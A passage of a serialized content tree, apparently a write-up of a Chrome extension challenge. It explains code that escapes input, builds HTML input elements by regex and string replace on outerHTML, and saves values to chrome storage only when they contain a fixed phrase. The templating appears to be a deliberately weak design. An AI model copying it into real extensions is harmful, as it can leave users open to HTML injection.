console",{"type":32,"tag":83,"props":4781,"children":4782},{"style":96},[4783],{"type":37,"value":627},{"type":32,"tag":83,"props":4785,"children":4786},{"style":1616},[4787],{"type":37,"value":1774},{"type":32,"tag":83,"props":4789,"children":4790},{"style":96},[4791],{"type":37,"value":1624},{"type":32,"tag":83,"props":4793,"children":4794},{"style":1616},[4795],{"type":37,"value":3543},{"type":32,"tag":83,"props":4797,"children":4798},{"style":96},[4799],{"type":37,"value":1624},{"type":32,"tag":83,"props":4801,"children":4802},{"style":1627},[4803],{"type":37,"value":1630},{"type":32,"tag":83,"props":4805,"children":4806},{"style":96},[4807],{"type":37,"value":1635},{"type":32,"tag":83,"props":4809,"children":4810},{"style":1627},[4811],{"type":37,"value":2166},{"type":32,"tag":83,"props":4813,"children":4814},{"style":96},[4815],{"type":37,"value":1635},{"type":32,"tag":83,"props":4817,"children":4818},{"style":1627},[4819],{"type":37,"value":4651},{"type":32,"tag":83,"props":4821,"children":4822},{"style":96},[4823],{"type":37,"value":627},{"type":32,"tag":83,"props":4825,"children":4826},{"style":1627},[4827],{"type":37,"value":4828},"outerHTML",{"type":32,"tag":83,"props":4830,"children":4831},{"style":96},[4832],{"type":37,"value":2849},{"type":32,"tag":83,"props":4834,"children":4835},{"class":85,"line":478},[4836,4841,4845,4849,4853,4858,4862,4866,4870,4874,4878,4882,4886,4890],{"type":32,"tag":83,"props":4837,"children":4838},{"style":1627},[4839],{"type":37,"value":4840},"        p",{"type":32,"tag":83,"props":4842,"children":4843},{"style":96},[4844],{"type":37,"value":627},{"type":32,"tag":83,"props":4846,"children":4847},{"style":1627},[4848],{"type":37,"value":4828},{"type":32,"tag":83,"props":4850,"children":4851},{"style":96},[4852],{"type":37,"value":1722},{"type":32,"tag":83,"props":4854,"children":4855},{"style":1616},[4856],{"type":37,"value":4857}," input",{"type":32,"tag":83,"props":4859,"children":4860},{"style":96},[4861],{"type":37,"value":1624},{"type":32,"tag":83,"props":4863,"children":4864},{"style":1627},[4865],{"type":37,"value":1630},{"type":32,"tag":83,"props":4867,"children":4868},{"style":96},[4869],{"type":37,"value":1635},{"type":32,"tag":83,"props":4871,"children":4872},{"style":1627},[4873],{"type":37,"value":2166},{"type":32,"tag":83,"props":4875,"children":4876},{"style":96},[4877],{"type":37,"value":1635},{"type":32,"tag":83,"props":4879,"children":4880},{"style":1627},[4881],{"type":37,"value":4651},{"type":32,"tag":83,"props":4883,"children":4884},{"style":96},[4885],{"type":37,"value":627},{"type":32,"tag":83,"props":4887,"children":4888},{"style":1627},[4889],{"type":37,"value":4828},{"type":32,"tag":83,"props":4891,"children":4892},{"style":96},[4893],{"type":37,"value":1812},{"type":32,"tag":83,"props":4895,"children":4896},{"class":85,"line":496},[4897],{"type":32,"tag":83,"props":4898,"children":4899},{"style":96},[4900],{"type":37,"value":2281},{"type":32,"tag":83,"props":4902,"children":4903},{"class":85,"line":514},[4904,4908,4913,4917,4921,4925],{"type":32,"tag":83,"props":4905,"children":4906},{"style":96},[4907],{"type":37,"value":2902},{"type":32,"tag":83,"props":4909,"children":4910},{"style":1664},[4911],{"type":37,"value":4912}," catch",{"type":32,"tag":83,"props":4914,"children":4915},{"style":96},[4916],{"type":37,"value":2187},{"type":32,"tag":83,"props":4918,"children":4919},{"style":1627},[4920],{"type":37,"value":2871},{"type":32,"tag":83,"props":4922,"children":4923},{"style":96},[4924],{"type":37,"value":1654},{"type":32,"tag":83,"props":4926,"children":4927},{"style":96},[4928],{"type":37,"value":875},{"type":32,"tag":83,"props":4930,"children":4931},{"class":85,"line":526},[4932,4936,4940,4944,4948,4952,4957,4961,4965,4969],{"type":32,"tag":83,"props":4933,"children":4934},{"style":1627},[4935],{"type":37,"value":2289},{"type":32,"tag":83,"props":4937,"children":4938},{"style":96},[4939],{"type":37,"value":627},{"type":32,"tag":83,"props":4941,"children":4942},{"style":1616},[4943],{"type":37,"value":1774},{"type":32,"tag":83,"props":4945,"children":4946},{"style":96},[4947],{"type":37,"value":1624},{"type":32,"tag":83,"props":4949,"children":4950},{"style":102},[4951],{"type":37,"value":1544},{"type":32,"tag":83,"props":4953,"children":4954},{"style":108},[4955],{"type":37,"value":4956},"Error loading data",{"type":32,"tag":83,"props":4958,"children":4959},{"style":102},[4960],{"type":37,"value":1544},{"type":32,"tag":83,"props":4962,"children":4963},{"style":96},[4964],{"type":37,"value":1635},{"type":32,"tag":83,"props":4966,"children":4967},{"style":1627},[4968],{"type":37,"value":2888},{"type":32,"tag":83,"props":4970,"children":4971},{"style":96},[4972],{"type":37,"value":1812},{"type":32,"tag":83,"props":4974,"children":4975},{"class":85,"line":538},[4976,4981],{"type":32,"tag":83,"props":4977,"children":4978},{"style":1664},[4979],{"type":37,"value":4980},"      continue",{"type":32,"tag":83,"props":4982,"children":4983},{"style":96},[4984],{"type":37,"value":1558},{"type":32,"tag":83,"props":4986,"children":4987},{"class":85,"line":548},[4988],{"type":32,"tag":83,"props":4989,"children":4990},{"style":96},[4991],{"type":37,"value":1437},{"type":32,"tag":83,"props":4993,"children":4994},{"class":85,"line":557},[4995],{"type":32,"tag":83,"props":4996,"children":4997},{"style":96},[4998],{"type":37,"value":4999},"  }\n",{"type":32,"tag":83,"props":5001,"children":5002},{"class":85,"line":566},[5003],{"type":32,"tag":83,"props":5004,"children":5005},{"style":96},[5006],{"type":37,"value":1453},{"type":32,"tag":46,"props":5008,"children":5009},{},[5010,5011,5016,5018,5024,5026,5032,5033,5039,5041,5047],{"type":37,"value":4212},{"type":32,"tag":79,"props":5012,"children":5014},{"className":5013},[],[5015],{"type":37,"value":4225},{"type":37,"value":5017}," function take as input the key and value from the chrome storage as well as the outerHTML element of the HTML input element that will be modified.\nIt performs modifications and substitutions using JavaScript's ",{"type":32,"tag":79,"props":5019,"children":5021},{"className":5020},[],[5022],{"type":37,"value":5023},"replace()",{"type":37,"value":5025}," methods and custom templates (",{"type":32,"tag":79,"props":5027,"children":5029},{"className":5028},[],[5030],{"type":37,"value":5031},"{{KEY}}",{"type":37,"value":4067},{"type":32,"tag":79,"props":5034,"children":5036},{"className":5035},[],[5037],{"type":37,"value":5038},"{{VALUE}}",{"type":37,"value":5040},") which will be added via the ",{"type":32,"tag":79,"props":5042,"children":5044},{"className":5043},[],[5045],{"type":37,"value":5046},"getInputTemplateFromOuterHTML()",{"type":37,"value":5048}," function.",{"type":32,"tag":68,"props":5050,"children":5051},{"lang":1393},[5052],{"type":32,"tag":73,"props":5053,"children":5055},{"className":1531,"code":5054,"language":1393,"meta":7,"style":7},"function getInputTemplateFromOuterHTML(outerHTML){\n  if (!outerHTML.includes('value=')) {\n    outerHTML = outerHTML.replace('>', ' value=\"\">');\n  }\n  return outerHTML.replace(/name=\".*?\"/, 'name=\"{{KEY}}\"').replace(/value=\".*?\"/, 'value=\"{{VALUE}}\"');\n}\n\nfunction input(key, value, outerHTML) {\n  key = key.replace(/\u003C/g, '&lt;').replace(/>/g, '&gt;').replace(/\"/g, '&quot;')\n  value = value.replace(/\u003C/g, '&lt;').replace(/>/g, '&gt;').replace(/\"/g, '&quot;')\n  const template = getInputTemplateFromOuterHTML(outerHTML);\n  return template.replace('{{KEY}}', key).replace('{{VALUE}}', value);\n}\n",[5056],{"type":32,"tag":79,"props":5057,"children":5058},{"__ignoreMap":7},[5059,5084,5140,5203,5210,5336,5343,5350,5393,5549,5701,5734,5813],{"type":32,"tag":83,"props":5060,"children":5061},{"class":85,"line":86},[5062,5066,5071,5075,5079],{"type":32,"tag":83,"props":5063,"children":5064},{"style":1610},[5065],{"type":37,"value":1613},{"type":32,"tag":83,"props":5067,"children":5068},{"style":1616},[5069],{"type":37,"value":5070}," getInputTemplateFromOuterHTML",{"type":32,"tag":83,"props":5072,"children":5073},{"style":96},[5074],{"type":37,"value":1624},{"type":32,"tag":83,"props":5076,"children":5077},{"style":1627},[5078],{"type":37,"value":4828},{"type":32,"tag":83,"props":5080,"children":5081},{"style":96},[5082],{"type":37,"value":5083},"){\n",{"type":32,"tag":83,"props":5085,"children":5086},{"class":85,"line":119},[5087,5092,5096,5101,5105,5109,5114,5118,5122,5127,5131,5136],{"type":32,"tag":83,"props":5088,"children":5089},{"style":1664},[5090],{"type":37,"value":5091},"  if",{"type":32,"tag":83,"props":5093,"children":5094},{"style":96},[5095],{"type":37,"value":2187},{"type":32,"tag":83,"props":5097,"children":5098},{"style":1610},[5099],{"type":37,"value":5100},"!",{"type":32,"tag":83,"props":5102,"children":5103},{"style":1627},[5104],{"type":37,"value":4828},{"type":32,"tag":83,"props":5106,"children":5107},{"style":96},[5108],{"type":37,"value":627},{"type":32,"tag":83,"props":5110,"children":5111},{"style":1616},[5112],{"type":37,"value":5113},"includes",{"type":32,"tag":83,"props":5115,"children":5116},{"style":96},[5117],{"type":37,"value":1624},{"type":32,"tag":83,"props":5119,"children":5120},{"style":102},[5121],{"type":37,"value":1544},{"type":32,"tag":83,"props":5123,"children":5124},{"style":108},[5125],{"type":37,"value":5126},"value=",{"type":32,"tag":83,"props":5128,"children":5129},{"style":102},[5130],{"type":37,"value":1544},{"type":32,"tag":83,"props":5132,"children":5133},{"style":96},[5134],{"type":37,"value":5135},"))",{"type":32,"tag":83,"props":5137,"children":5138},{"style":96},[5139],{"type":37,"value":875},{"type":32,"tag":83,"props":5141,"children":5142},{"class":85,"line":129},[5143,5148,5152,5157,5161,5166,5170,5174,5178,5182,5186,5190,5195,5199],{"type":32,"tag":83,"props":5144,"children":5145},{"style":1627},[5146],{"type":37,"value":5147},"    outerHTML",{"type":32,"tag":83,"props":5149,"children":5150},{"style":96},[5151],{"type":37,"value":1722},{"type":32,"tag":83,"props":5153,"children":5154},{"style":1627},[5155],{"type":37,"value":5156}," outerHTML",{"type":32,"tag":83,"props":5158,"children":5159},{"style":96},[5160],{"type":37,"value":627},{"type":32,"tag":83,"props":5162,"children":5163},{"style":1616},[5164],{"type":37,"value":5165},"replace",{"type":32,"tag":83,"props":5167,"children":5168},{"style":96},[5169],{"type":37,"value":1624},{"type":32,"tag":83,"props":5171,"children":5172},{"style":102},[5173],{"type":37,"value":1544},{"type":32,"tag":83,"props":5175,"children":5176},{"style":108},[5177],{"type":37,"value":3403},{"type":32,"tag":83,"props":5179,"children":5180},{"style":102},[5181],{"type":37,"value":1544},{"type":32,"tag":83,"props":5183,"children":5184},{"style":96},[5185],{"type":37,"value":1635},{"type":32,"tag":83,"props":5187,"children":5188},{"style":102},[5189],{"type":37,"value":105},{"type":32,"tag":83,"props":5191,"children":5192},{"style":108},[5193],{"type":37,"value":5194}," value=\"\">",{"type":32,"tag":83,"props":5196,"children":5197},{"style":102},[5198],{"type":37,"value":1544},{"type":32,"tag":83,"props":5200,"children":5201},{"style":96},[5202],{"type":37,"value":1812},{"type":32,"tag":83,"props":5204,"children":5205},{"class":85,"line":143},[5206],{"type":32,"tag":83,"props":5207,"children":5208},{"style":96},[5209],{"type":37,"value":4999},{"type":32,"tag":83,"props":5211,"children":5212},{"class":85,"line":156},[5213,5217,5221,5225,5229,5233,5237,5243,5248,5253,5257,5261,5265,5269,5274,5278,5282,5286,5290,5294,5299,5303,5307,5311,5315,5319,5323,5328,5332],{"type":32,"tag":83,"props":5214,"children":5215},{"style":1664},[5216],{"type":37,"value":1667},{"type":32,"tag":83,"props":5218,"children":5219},{"style":1627},[5220],{"type":37,"value":5156},{"type":32,"tag":83,"props":5222,"children":5223},{"style":96},[5224],{"type":37,"value":627},{"type":32,"tag":83,"props":5226,"children":5227},{"style":1616},[5228],{"type":37,"value":5165},{"type":32,"tag":83,"props":5230,"children":5231},{"style":96},[5232],{"type":37,"value":1624},{"type":32,"tag":83,"props":5234,"children":5235},{"style":102},[5236],{"type":37,"value":3522},{"type":32,"tag":83,"props":5238,"children":5240},{"style":5239},"--shiki-default:#C4704F",[5241],{"type":37,"value":5242},"name=\"",{"type":32,"tag":83,"props":5244,"children":5246},{"style":5245},"--shiki-default:#6872AB",[5247],{"type":37,"value":627},{"type":32,"tag":83,"props":5249,"children":5250},{"style":454},[5251],{"type":37,"value":5252},"*?",{"type":32,"tag":83,"props":5254,"children":5255},{"style":5239},[5256],{"type":37,"value":688},{"type":32,"tag":83,"props":5258,"children":5259},{"style":102},[5260],{"type":37,"value":3522},{"type":32,"tag":83,"props":5262,"children":5263},{"style":96},[5264],{"type":37,"value":1635},{"type":32,"tag":83,"props":5266,"children":5267},{"style":102},[5268],{"type":37,"value":105},{"type":32,"tag":83,"props":5270,"children":5271},{"style":108},[5272],{"type":37,"value":5273},"name=\"{{KEY}}\"",{"type":32,"tag":83,"props":5275,"children":5276},{"style":102},[5277],{"type":37,"value":1544},{"type":32,"tag":83,"props":5279,"children":5280},{"style":96},[5281],{"type":37,"value":2584},{"type":32,"tag":83,"props":5283,"children":5284},{"style":1616},[5285],{"type":37,"value":5165},{"type":32,"tag":83,"props":5287,"children":5288},{"style":96},[5289],{"type":37,"value":1624},{"type":32,"tag":83,"props":5291,"children":5292},{"style":102},[5293],{"type":37,"value":3522},{"type":32,"tag":83,"props":5295,"children":5296},{"style":5239},[5297],{"type":37,"value":5298},"value=\"",{"type":32,"tag":83,"props":5300,"children":5301},{"style":5245},[5302],{"type":37,"value":627},{"type":32,"tag":83,"props":5304,"children":5305},{"style":454},[5306],{"type":37,"value":5252},{"type":32,"tag":83,"props":5308,"children":5309},{"style":5239},[5310],{"type":37,"value":688},{"type":32,"tag":83,"props":5312,"children":5313},{"style":102},[5314],{"type":37,"value":3522},{"type":32,"tag":83,"props":5316,"children":5317},{"style":96},[5318],{"type":37,"value":1635},{"type":32,"tag":83,"props":5320,"children":5321},{"style":102},[5322],{"type":37,"value":105},{"type":32,"tag":83,"props":5324,"children":5325},{"style":108},[5326],{"type":37,"value":5327},"value=\"{{VALUE}}\"",{"type":32,"tag":83,"props":5329,"children":5330},{"style":102},[5331],{"type":37,"value":1544},{"type":32,"tag":83,"props":5333,"children":5334},{"style":96},[5335],{"type":37,"value":1812},{"type":32,"tag":83,"props":5337,"children":5338},{"class":85,"line":174},[5339],{"type":32,"tag":83,"props":5340,"children":5341},{"style":96},[5342],{"type":37,"value":1453},{"type":32,"tag":83,"props":5344,"children":5345},{"class":85,"line":192},[5346],{"type":32,"tag":83,"props":5347,"children":5348},{"emptyLinePlaceholder":123},[5349],{"type":37,"value":126},{"type":32,"tag":83,"props":5351,"children":5352},{"class":85,"line":205},[5353,5357,5361,5365,5369,5373,5377,5381,5385,5389],{"type":32,"tag":83,"props":5354,"children":5355},{"style":1610},[5356],{"type":37,"value":1613},{"type":32,"tag":83,"props":5358,"children":5359},{"style":1616},[5360],{"type":37,"value":4857},{"type":32,"tag":83,"props":5362,"children":5363},{"style":96},[5364],{"type":37,"value":1624},{"type":32,"tag":83,"props":5366,"children":5367},{"style":1627},[5368],{"type":37,"value":1630},{"type":32,"tag":83,"props":5370,"children":5371},{"style":96},[5372],{"type":37,"value":1635},{"type":32,"tag":83,"props":5374,"children":5375},{"style":1627},[5376],{"type":37,"value":1640},{"type":32,"tag":83,"props":5378,"children":5379},{"style":96},[5380],{"type":37,"value":1635},{"type":32,"tag":83,"props":5382,"children":5383},{"style":1627},[5384],{"type":37,"value":5156},{"type":32,"tag":83,"props":5386,"children":5387},{"style":96},[5388],{"type":37,"value":1654},{"type":32,"tag":83,"props":5390,"children":5391},{"style":96},[5392],{"type":37,"value":875},{"type":32,"tag":83,"props":5394,"children":5395},{"class":85,"line":219},[5396,5401,5405,5409,5413,5417,5421,5425,5429,5433,5438,5442,5446,5451,5455,5459,5463,5467,5471,5475,5479,5483,5487,5491,5496,5500,5504,5508,5512,5516,5520,5524,5528,5532,5536,5541,5545],{"type":32,"tag":83,"props":5397,"children":5398},{"style":1627},[5399],{"type":37,"value":5400},"  key",{"type":32,"tag":83,"props":5402,"children":5403},{"style":96},[5404],{"type":37,"value":1722},{"type":32,"tag":83,"props":5406,"children":5407},{"style":1627},[5408],{"type":37,"value":1727},{"type":32,"tag":83,"props":5410,"children":5411},{"style":96},[5412],{"type":37,"value":627},{"type":32,"tag":83,"props":5414,"children":5415},{"style":1616},[5416],{"type":37,"value":5165},{"type":32,"tag":83,"props":5418,"children":5419},{"style":96},[5420],{"type":37,"value":1624},{"type":32,"tag":83,"props":5422,"children":5423},{"style":102},[5424],{"type":37,"value":3522},{"type":32,"tag":83,"props":5426,"children":5427},{"style":5239},[5428],{"type":37,"value":3234},{"type":32,"tag":83,"props":5430,"children":5431},{"style":102},[5432],{"type":37,"value":3522},{"type":32,"tag":83,"props":5434,"children":5435},{"style":1664},[5436],{"type":37,"value":5437},"g",{"type":32,"tag":83,"props":5439,"children":5440},{"style":96},[5441],{"type":37,"value":1635},{"type":32,"tag":83,"props":5443,"children":5444},{"style":102},[5445],{"type":37,"value":105},{"type":32,"tag":83,"props":5447,"children":5448},{"style":108},[5449],{"type":37,"value":5450},"&lt;",{"type":32,"tag":83,"props":5452,"children":5453},{"style":102},[5454],{"type":37,"value":1544},{"type":32,"tag":83,"props":5456,"children":5457},{"style":96},[5458],{"type":37,"value":2584},{"type":32,"tag":83,"props":5460,"children":5461},{"style":1616},[5462],{"type":37,"value":5165},{"type":32,"tag":83,"props":5464,"children":5465},{"style":96},[5466],{"type":37,"value":1624},{"type":32,"tag":83,"props":5468,"children":5469},{"style":102},[5470],{"type":37,"value":3522},{"type":32,"tag":83,"props":5472,"children":5473},{"style":5239},[5474],{"type":37,"value":3403},{"type":32,"tag":83,"props":5476,"children":5477},{"style":102},[5478],{"type":37,"value":3522},{"type":32,"tag":83,"props":5480,"children":5481},{"style":1664},[5482],{"type":37,"value":5437},{"type":32,"tag":83,"props":5484,"children":5485},{"style":96},[5486],{"type":37,"value":1635},{"type":32,"tag":83,"props":5488,"children":5489},{"style":102},[5490],{"type":37,"value":105},{"type":32,"tag":83,"props":5492,"children":5493},{"style":108},[5494],{"type":37,"value":5495},"&gt;",{"type":32,"tag":83,"props":5497,"children":5498},{"style":102},[5499],{"type":37,"value":1544},{"type":32,"tag":83,"props":5501,"children":5502},{"style":96},[5503],{"type":37,"value":2584},{"type":32,"tag":83,"props":5505,"children":5506},{"style":1616},[5507],{"type":37,"value":5165},{"type":32,"tag":83,"props":5509,"children":5510},{"style":96},[5511],{"type":37,"value":1624},{"type":32,"tag":83,"props":5513,"children":5514},{"style":102},[5515],{"type":37,"value":3522},{"type":32,"tag":83,"props":5517,"children":5518},{"style":5239},[5519],{"type":37,"value":688},{"type":32,"tag":83,"props":5521,"children":5522},{"style":102},[5523],{"type":37,"value":3522},{"type":32,"tag":83,"props":5525,"children":5526},{"style":1664},[5527],{"type":37,"value":5437},{"type":32,"tag":83,"props":5529,"children":5530},{"style":96},[5531],{"type":37,"value":1635},{"type":32,"tag":83,"props":5533,"children":5534},{"style":102},[5535],{"type":37,"value":105},{"type":32,"tag":83,"props":5537,"children":5538},{"style":108},[5539],{"type":37,"value":5540},"&quot;",{"type":32,"tag":83,"props":5542,"children":5543},{"style":102},[5544],{"type":37,"value":1544},{"type":32,"tag":83,"props":5546,"children":5547},{"style":96},[5548],{"type":37,"value":2805},{"type":32,"tag":83,"props":5550,"children":5551},{"class":85,"line":232},[5552,5557,5561,5565,5569,5573,5577,5581,5585,5589,5593,5597,5601,5605,5609,5613,5617,5621,5625,5629,5633,5637,5641,5645,5649,5653,5657,5661,5665,5669,5673,5677,5681,5685,5689,5693,5697],{"type":32,"tag":83,"props":5553,"children":5554},{"style":1627},[5555],{"type":37,"value":5556},"  value",{"type":32,"tag":83,"props":5558,"children":5559},{"style":96},[5560],{"type":37,"value":1722},{"type":32,"tag":83,"props":5562,"children":5563},{"style":1627},[5564],{"type":37,"value":1640},{"type":32,"tag":83,"props":5566,"children":5567},{"style":96},[5568],{"type":37,"value":627},{"type":32,"tag":83,"props":5570,"children":5571},{"style":1616},[5572],{"type":37,"value":5165},{"type":32,"tag":83,"props":5574,"children":5575},{"style":96},[5576],{"type":37,"value":1624},{"type":32,"tag":83,"props":5578,"children":5579},{"style":102},[5580],{"type":37,"value":3522},{"type":32,"tag":83,"props":5582,"children":5583},{"style":5239},[5584],{"type":37,"value":3234},{"type":32,"tag":83,"props":5586,"children":5587},{"style":102},[5588],{"type":37,"value":3522},{"type":32,"tag":83,"props":5590,"children":5591},{"style":1664},[5592],{"type":37,"value":5437},{"type":32,"tag":83,"props":5594,"children":5595},{"style":96},[5596],{"type":37,"value":1635},{"type":32,"tag":83,"props":5598,"children":5599},{"style":102},[5600],{"type":37,"value":105},{"type":32,"tag":83,"props":5602,"children":5603},{"style":108},[5604],{"type":37,"value":5450},{"type":32,"tag":83,"props":5606,"children":5607},{"style":102},[5608],{"type":37,"value":1544},{"type":32,"tag":83,"props":5610,"children":5611},{"style":96},[5612],{"type":37,"value":2584},{"type":32,"tag":83,"props":5614,"children":5615},{"style":1616},[5616],{"type":37,"value":5165},{"type":32,"tag":83,"props":5618,"children":5619},{"style":96},[5620],{"type":37,"value":1624},{"type":32,"tag":83,"props":5622,"children":5623},{"style":102},[5624],{"type":37,"value":3522},{"type":32,"tag":83,"props":5626,"children":5627},{"style":5239},[5628],{"type":37,"value":3403},{"type":32,"tag":83,"props":5630,"children":5631},{"style":102},[5632],{"type":37,"value":3522},{"type":32,"tag":83,"props":5634,"children":5635},{"style":1664},[5636],{"type":37,"value":5437},{"type":32,"tag":83,"props":5638,"children":5639},{"style":96},[5640],{"type":37,"value":1635},{"type":32,"tag":83,"props":5642,"children":5643},{"style":102},[5644],{"type":37,"value":105},{"type":32,"tag":83,"props":5646,"children":5647},{"style":108},[5648],{"type":37,"value":5495},{"type":32,"tag":83,"props":5650,"children":5651},{"style":102},[5652],{"type":37,"value":1544},{"type":32,"tag":83,"props":5654,"children":5655},{"style":96},[5656],{"type":37,"value":2584},{"type":32,"tag":83,"props":5658,"children":5659},{"style":1616},[5660],{"type":37,"value":5165},{"type":32,"tag":83,"props":5662,"children":5663},{"style":96},[5664],{"type":37,"value":1624},{"type":32,"tag":83,"props":5666,"children":5667},{"style":102},[5668],{"type":37,"value":3522},{"type":32,"tag":83,"props":5670,"children":5671},{"style":5239},[5672],{"type":37,"value":688},{"type":32,"tag":83,"props":5674,"children":5675},{"style":102},[5676],{"type":37,"value":3522},{"type":32,"tag":83,"props":5678,"children":5679},{"style":1664},[5680],{"type":37,"value":5437},{"type":32,"tag":83,"props":5682,"children":5683},{"style":96},[5684],{"type":37,"value":1635},{"type":32,"tag":83,"props":5686,"children":5687},{"style":102},[5688],{"type":37,"value":105},{"type":32,"tag":83,"props":5690,"children":5691},{"style":108},[5692],{"type":37,"value":5540},{"type":32,"tag":83,"props":5694,"children":5695},{"style":102},[5696],{"type":37,"value":1544},{"type":32,"tag":83,"props":5698,"children":5699},{"style":96},[5700],{"type":37,"value":2805},{"type":32,"tag":83,"props":5702,"children":5703},{"class":85,"line":245},[5704,5709,5714,5718,5722,5726,5730],{"type":32,"tag":83,"props":5705,"children":5706},{"style":1610},[5707],{"type":37,"value":5708},"  const",{"type":32,"tag":83,"props":5710,"children":5711},{"style":1627},[5712],{"type":37,"value":5713}," template",{"type":32,"tag":83,"props":5715,"children":5716},{"style":96},[5717],{"type":37,"value":1722},{"type":32,"tag":83,"props":5719,"children":5720},{"style":1616},[5721],{"type":37,"value":5070},{"type":32,"tag":83,"props":5723,"children":5724},{"style":96},[5725],{"type":37,"value":1624},{"type":32,"tag":83,"props":5727,"children":5728},{"style":1627},[5729],{"type":37,"value":4828},{"type":32,"tag":83,"props":5731,"children":5732},{"style":96},[5733],{"type":37,"value":1812},{"type":32,"tag":83,"props":5735,"children":5736},{"class":85,"line":258},[5737,5741,5745,5749,5753,5757,5761,5765,5769,5773,5777,5781,5785,5789,5793,5797,5801,5805,5809],{"type":32,"tag":83,"props":5738,"children":5739},{"style":1664},[5740],{"type":37,"value":1667},{"type":32,"tag":83,"props":5742,"children":5743},{"style":1627},[5744],{"type":37,"value":5713},{"type":32,"tag":83,"props":5746,"children":5747},{"style":96},[5748],{"type":37,"value":627},{"type":32,"tag":83,"props":5750,"children":5751},{"style":1616},[5752],{"type":37,"value":5165},{"type":32,"tag":83,"props":5754,"children":5755},{"style":96},[5756],{"type":37,"value":1624},{"type":32,"tag":83,"props":5758,"children":5759},{"style":102},[5760],{"type":37,"value":1544},{"type":32,"tag":83,"props":5762,"children":5763},{"style":108},[5764],{"type":37,"value":5031},{"type":32,"tag":83,"props":5766,"children":5767},{"style":102},[5768],{"type":37,"value":1544},{"type":32,"tag":83,"props":5770,"children":5771},{"style":96},[5772],{"type":37,"value":1635},{"type":32,"tag":83,"props":5774,"children":5775},{"style":1627},[5776],{"type":37,"value":1727},{"type":32,"tag":83,"props":5778,"children":5779},{"style":96},[5780],{"type":37,"value":2584},{"type":32,"tag":83,"props":5782,"children":5783},{"style":1616},[5784],{"type":37,"value":5165},{"type":32,"tag":83,"props":5786,"children":5787},{"style":96},[5788],{"type":37,"value":1624},{"type":32,"tag":83,"props":5790,"children":5791},{"style":102},[5792],{"type":37,"value":1544},{"type":32,"tag":83,"props":5794,"children":5795},{"style":108},[5796],{"type":37,"value":5038},{"type":32,"tag":83,"props":5798,"children":5799},{"style":102},[5800],{"type":37,"value":1544},{"type":32,"tag":83,"props":5802,"children":5803},{"style":96},[5804],{"type":37,"value":1635},{"type":32,"tag":83,"props":5806,"children":5807},{"style":1627},[5808],{"type":37,"value":1640},{"type":32,"tag":83,"props":5810,"children":5811},{"style":96},[5812],{"type":37,"value":1812},{"type":32,"tag":83,"props":5814,"children":5815},{"class":85,"line":271},[5816],{"type":32,"tag":83,"props":5817,"children":5818},{"style":96},[5819],{"type":37,"value":1453},{"type":32,"tag":46,"props":5821,"children":5822},{},[5823,5825,5831],{"type":37,"value":5824},"The save function will listen for the change event of each input to update the chrome storage via the tag name of each input. It will be absolutely necessary that the string to be updated contains ",{"type":32,"tag":79,"props":5826,"children":5828},{"className":5827},[],[5829],{"type":37,"value":5830},"shikanoko nokonoko koshitantan",{"type":37,"value":5832}," for the storage to be updated.",{"type":32,"tag":68,"props":5834,"children":5835},{"lang":1393},[5836],{"type":32,"tag":73,"props":5837,"children":5839},{"className":1531,"code":5838,"language":1393,"meta":7,"style":7},"\nfunction save(data) {\n  return new Promise((resolve) => {\n    chrome.runtime.sendMessage(\n      {\n        type: 'SAVE',\n        payload: data,\n      },\n      response => {\n        resolve(response);\n      }\n    );\n  })\n}\n\nasync function saves() {\n  var inputs = document.querySelectorAll('input');\n  for (const input of inputs) {\n    input.addEventListener('change', async function (event) {\n      const key = event.target.name;\n      const value = event.target.value;\n      if (!value.includes(\"shikanoko nokonoko koshitantan\")){\n        return\n      }\n      try {\n        await save({ key, value });\n        console.log('Data saved');\n      } catch (error) {\n        console.log('Error saving data', error);\n      }\n    });\n  }\n}\n",[5840],{"type":32,"tag":79,"props":5841,"children":5842},{"__ignoreMap":7},[5843,5850,5877,5912,5939,5946,5973,5992,5999,6014,6033,6040,6047,6054,6061,6068,6091,6138,6173,6237,6279,6318,6366,6374,6381,6393,6425,6461,6489,6533,6540,6547,6554],{"type":32,"tag":83,"props":5844,"children":5845},{"class":85,"line":86},[5846],{"type":32,"tag":83,"props":5847,"children":5848},{"emptyLinePlaceholder":123},[5849],{"type":37,"value":126},{"type":32,"tag":83,"props":5851,"children":5852},{"class":85,"line":119},[5853,5857,5861,5865,5869,5873],{"type":32,"tag":83,"props":5854,"children":5855},{"style":1610},[5856],{"type":37,"value":1613},{"type":32,"tag":83,"props":5858,"children":5859},{"style":1616},[5860],{"type":37,"value":1619},{"type":32,"tag":83,"props":5862,"children":5863},{"style":96},[5864],{"type":37,"value":1624},{"type":32,"tag":83,"props":5866,"children":5867},{"style":1627},[5868],{"type":37,"value":2192},{"type":32,"tag":83,"props":5870,"children":5871},{"style":96},[5872],{"type":37,"value":1654},{"type":32,"tag":83,"props":5874,"children":5875},{"style":96},[5876],{"type":37,"value":875},{"type":32,"tag":83,"props":5878,"children":5879},{"class":85,"line":129},[5880,5884,5888,5892,5896,5900,5904,5908],{"type":32,"tag":83,"props":5881,"children":5882},{"style":1664},[5883],{"type":37,"value":1667},{"type":32,"tag":83,"props":5885,"children":5886},{"style":1610},[5887],{"type":37,"value":1672},{"type":32,"tag":83,"props":5889,"children":5890},{"style":90},[5891],{"type":37,"value":1677},{"type":32,"tag":83,"props":5893,"children":5894},{"style":96},[5895],{"type":37,"value":1682},{"type":32,"tag":83,"props":5897,"children":5898},{"style":1627},[5899],{"type":37,"value":1687},{"type":32,"tag":83,"props":5901,"children":5902},{"style":96},[5903],{"type":37,"value":1654},{"type":32,"tag":83,"props":5905,"children":5906},{"style":96},[5907],{"type":37,"value":1705},{"type":32,"tag":83,"props":5909,"children":5910},{"style":96},[5911],{"type":37,"value":875},{"type":32,"tag":83,"props":5913,"children":5914},{"class":85,"line":143},[5915,5919,5923,5927,5931,5935],{"type":32,"tag":83,"props":5916,"children":5917},{"style":1627},[5918],{"type":37,"value":1820},{"type":32,"tag":83,"props":5920,"children":5921},{"style":96},[5922],{"type":37,"value":627},{"type":32,"tag":83,"props":5924,"children":5925},{"style":1627},[5926],{"type":37,"value":2410},{"type":32,"tag":83,"props":5928,"children":5929},{"style":96},[5930],{"type":37,"value":627},{"type":32,"tag":83,"props":5932,"children":5933},{"style":1616},[5934],{"type":37,"value":4338},{"type":32,"tag":83,"props":5936,"children":5937},{"style":96},[5938],{"type":37,"value":4343},{"type":32,"tag":83,"props":5940,"children":5941},{"class":85,"line":156},[5942],{"type":32,"tag":83,"props":5943,"children":5944},{"style":96},[5945],{"type":37,"value":4351},{"type":32,"tag":83,"props":5947,"children":5948},{"class":85,"line":174},[5949,5953,5957,5961,5965,5969],{"type":32,"tag":83,"props":5950,"children":5951